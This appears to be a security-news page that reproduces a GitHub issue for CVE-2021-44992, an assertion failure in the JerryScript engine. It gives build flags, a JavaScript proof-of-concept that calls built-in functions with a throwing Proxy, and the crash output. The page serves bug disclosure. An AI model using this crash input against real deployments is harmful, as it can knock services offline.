Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2021-44992: Assertion 'ecma_object_is_typedarray (obj_p)' failed in ecma-typedarray-object(ecma_get_typedarray_id) · Issue #4875 · jerryscript-project/jerryscript

There is an Assertion '’ecma_object_is_typedarray (obj_p)‘’ failed at /jerry-core/ecma/operations/ecma-typedarray-object.c in Jerryscript 3.0.0.

CVE
#ubuntu#linux#js

JerryScript revision

Commit: 51da1551 Version: v3.0.0

Commit: 8ba0d1b Version: v2.4.0

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20

Test case

function isPoT(obj, name, type) { let desc; desc = Object.getOwnPropertyDescriptor(obj, name); return typeof type === ‘undefined’ || typeof desc.value === type; }

function getPs(obj, type) { let properties = [];

for (let name of Object.getOwnPropertyNames(obj)) { if (isPoT(obj, name, type)) { properties.push(name); } }

return properties; }

function* genObj(root = this, level = 0) { if (level > 4) { return; }

let obj_names = getPs(root, ‘object’);

for (let obj_name of obj_names) { if (obj_name.startsWith(‘$’)) { continue; }

let obj \= root\[obj\_name\];
yield obj;
yield\* genObj(obj, level + 1);

} }

function JSEtestObj() { let objects = [];

for (let obj of genObj()) { if (!objects.includes(obj)) { objects.push(obj); } }

return objects; }

function JSEtestFunc(obj) { return getPs(obj, ‘function’); }

const thrower = new Proxy({}, { get() { throw 0xc0defefe; }

});

for (let o of JSEtestObj()) { for (let f of JSEtestFunc(o)) { const arityPlusOne = o[f].length + 1; try { o[f](Array(arityPlusOne).fill(thrower)); } catch (e) { if (`${e}`.includes(‘1’)) { try { new o[f](Array(arityPlusOne).fill(thrower)); } catch (e) {} } else { } } } }

Execution steps & Output

Version: v3.0.0

$ ./jerryscript/build/bin/jerry poc.js

ICE: Assertion 'ecma_object_is_typedarray (obj_p)' failed at /root/jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c(ecma_get_typedarray_id):764. Error: ERR_FAILED_INTERNAL_ASSERTION

Version: v2.4.0

$ ~/jerryscript-2.4.0/build/bin/jerry poc.js Script Error: assertion failed Script backtrace (top 5): 0: poc.js:72

Credits: Found by OWL337 team.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907